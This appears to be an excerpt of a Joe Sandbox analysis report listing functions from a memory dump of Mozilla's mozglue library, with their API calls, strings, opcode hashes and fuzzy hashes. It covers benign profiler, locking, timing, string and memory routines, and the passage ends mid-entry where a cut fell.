API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction ID: c88251a2a4174e7d531eee6086474c1a255687f447204ce14e138000e4d58790
Opcode Fuzzy Hash: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction Fuzzy Hash: 9F411632705A119FDB109F64C8497AE7779EB9530DF284019E90AA7F01CB30F855CBE2

Function 6C9AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD52A
GetCurrentThreadId.KERNEL32 ref: 6C9AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD55F
free.MOZGLUE(00000000), ref: 6C9AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD652
GetCurrentThreadId.KERNEL32 ref: 6C9AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD6A2

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction ID: 68bd373f28a8817a722e4300504dce52bd0854999d4ed2a5bf06be0fe8af245e
Opcode Fuzzy Hash: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction Fuzzy Hash: 92516CB1608B05DFC704DF65C484A9ABBB4FF89358F108A2EE95A97710DB30F985CB91

Function 6C975670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C975744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9757BC
GetTickCount64.KERNEL32 ref: 6C9758CB
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9758F3
__aulldiv.LIBCMT ref: 6C975945
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9DF638,?,?,?,?), ref: 6C9759E9

Strings

MOZ_APP_RESTART, xrefs: 6C9756CC

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction ID: bb7ff651eae94081bea50f32eb7a2595acfb432eff971e952c837c617aba6349
Opcode Fuzzy Hash: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction Fuzzy Hash: 39C17B31A0D7449BDB05CF28C44166AB7F1BFDA718F558A1DE8C4A7A60E730E885CB92

Function 6C99EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EC8C

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99ECA1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C99ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99ED19
CloseHandle.KERNEL32(?), ref: 6C99ED28
free.MOZGLUE(00000000), ref: 6C99ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C99EC94

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction ID: 70f63d3fafa89faf754d6faa4af9d2e5a158a95f6ecc2334fac8ed53db4be5fc
Opcode Fuzzy Hash: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction Fuzzy Hash: C121E575604904AFDB009F64DC09A9A3779FB5626DF288210FD18A7B41DB31E845CBF1

Function 6C998ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C95EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C99B392,?,?,00000001), ref: 6C9991F4

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Strings

stack-chart, xrefs: 6C9990B2
marker-chart, xrefs: 6C99905E
timeline-memory, xrefs: 6C999088
marker-table, xrefs: 6C99906C
timeline-overview, xrefs: 6C99907A
timeline-fileio, xrefs: 6C9990A4
timeline-ipc, xrefs: 6C999096
name, xrefs: 6C998F16
data, xrefs: 6C9990E8

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction ID: 618ba5d754fdee7efc7bfc10d229741b723f6b50baf2371298d3e58226ead686
Opcode Fuzzy Hash: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction Fuzzy Hash: 70B1D0B1B012099BDF04CF95C4917AEBBB9BF94318F254019D506ABF80D731EA55CBE2

Function 6C97C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C5A3
WideCharToMultiByte.KERNEL32 ref: 6C97C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C97C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C97CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C97CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C97CAA5

Strings

0, xrefs: 6C97D30A
(null), xrefs: 6C97C596

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction ID: 1e302c6cb67bae7911c58ead7639e4d65c65649c2d40d78be8b09cfda47b0d90
Opcode Fuzzy Hash: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction Fuzzy Hash: FFA1AC3160A342DFDB20DF28C58475ABBF5AF89748F14892DE889D7741DB31E905CBA2

Function 6C97C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C97C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C97C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C97C891

Strings

NAN, xrefs: 6C97C7AD
INF, xrefs: 6C97C794
inf, xrefs: 6C97C78F
nan, xrefs: 6C97C7A8

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction ID: 2f305e3f688d0ed2e8eb71c9c224969827342a6f33d9ce131dc7cd59fbb20936
Opcode Fuzzy Hash: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction Fuzzy Hash: 825181716097408BDB10DF6CC48129AFBF4BF9A304F008A2DE9D5A7651E770D985CB52

Function 6C954480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C994843,?), ref: 6C9545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C994843,?), ref: 6C95468A
free.MOZGLUE(?,?,?,?,?,?,6C994843,?), ref: 6C9546C9
free.MOZGLUE(?), ref: 6C9546EF
free.MOZGLUE(?), ref: 6C954712
free.MOZGLUE(?), ref: 6C954735
free.MOZGLUE(?), ref: 6C954758
free.MOZGLUE(?), ref: 6C95477B
free.MOZGLUE(?), ref: 6C95479E

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction ID: d983f65b9de8d24cbfc5b157c8a1ff2378b82593203f650b9622bf2c08de5b40
Opcode Fuzzy Hash: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction Fuzzy Hash: BFB1F171A011118FDB58CF3CC89076D76A6AF42328F980668E916DBBC6D730D8748F92

Function 6C9BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9BAC52
CreateFileMappingW.KERNEL32 ref: 6C9BAC7D
GetSystemInfo.KERNEL32 ref: 6C9BAC98
MapViewOfFile.KERNEL32 ref: 6C9BACB0
GetSystemInfo.KERNEL32 ref: 6C9BACCD
MapViewOfFile.KERNEL32 ref: 6C9BAD05
UnmapViewOfFile.KERNEL32 ref: 6C9BAD1C
CloseHandle.KERNEL32 ref: 6C9BAD28
UnmapViewOfFile.KERNEL32 ref: 6C9BAD37
CloseHandle.KERNEL32 ref: 6C9BAD43
CloseHandle.KERNEL32 ref: 6C9BAD67

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction ID: 9df12873fcc3f648080faf1df3ee66efcb02c3aae138d4fd81af54b2714c495e
Opcode Fuzzy Hash: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction Fuzzy Hash: 0F3180B19087059FDB00AF7CC64826EBBF0BF85305F114A2DE985A7211EF70A588CB92

Function 6C969620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

ntdll.dll, xrefs: 6C9696E3
MapViewOfFileNuma2, xrefs: 6C9697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
NtMapViewOfSection, xrefs: 6C969701

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction ID: 71d99af88873ccbb9ca1b5f81e71a8ad70b3f8e4eb83b59b7db1030189233b34
Opcode Fuzzy Hash: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction Fuzzy Hash: C741B5717046069BEF00CFA5D885AD6B7B4FB49B68F228529ED15A7B80D730F844CBA1

Function 6C951E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951EC1
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951EE1
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C951F38
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C951F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C951F83
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FC0
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951FE2
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C952019

Strings

MOZ_CRASH(), xrefs: 6C952000

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction ID: c0ba08201beb5524a2ff095b18dfa91ea132a3dff9d0115627b3d99dc1c6d19f
Opcode Fuzzy Hash: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction Fuzzy Hash: DA41F371B05B0A8BDB40DFB8C884B6A7BB5EB5A748F110129ED04A7740D771E854CBD5

Function 6C9A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C9A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A0041
GetCurrentThreadId.KERNEL32 ref: 6C9A0075
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9A0090
free.MOZGLUE(?), ref: 6C9A0104
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9A005B

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction ID: 9fc5920f83300a954fcd4109903853ec2444afa5f56ec9c2042d045a4a361f37
Opcode Fuzzy Hash: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction Fuzzy Hash: 5E41EFB1604A54DFCB10CF64C844A9ABBF0FF69318F14491EE94AA3B40DB31F955CBA2

Function 6C967E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C967EA7
malloc.MOZGLUE(00000001), ref: 6C967EB3

Part of subcall function 6C96CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C96CB49
Part of subcall function 6C96CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C96CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C967EC4
mozalloc_abort.MOZGLUE(?), ref: 6C967F19
malloc.MOZGLUE(?), ref: 6C967F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C967F4D

Strings

d, xrefs: 6C967F89

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction ID: f71660a51bfc7c33d6af84959794149133f3c219dc61652618b1c921e0ce54c1
Opcode Fuzzy Hash: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction Fuzzy Hash: 77310962E0468897EB009B29CC049FEB778EFA6208F155629ED4957752FB30E6C8C391

Function 6C963E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C963EEE
RtlFreeHeap.NTDLL ref: 6C963FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C964006
RtlFreeHeap.NTDLL ref: 6C9640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640C2
RtlFreeHeap.NTDLL ref: 6C964134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964157

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 674c412cf7787f45c8908d4493b16a1839ee3ed121a15ec08fd5a2d23c6253d4
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
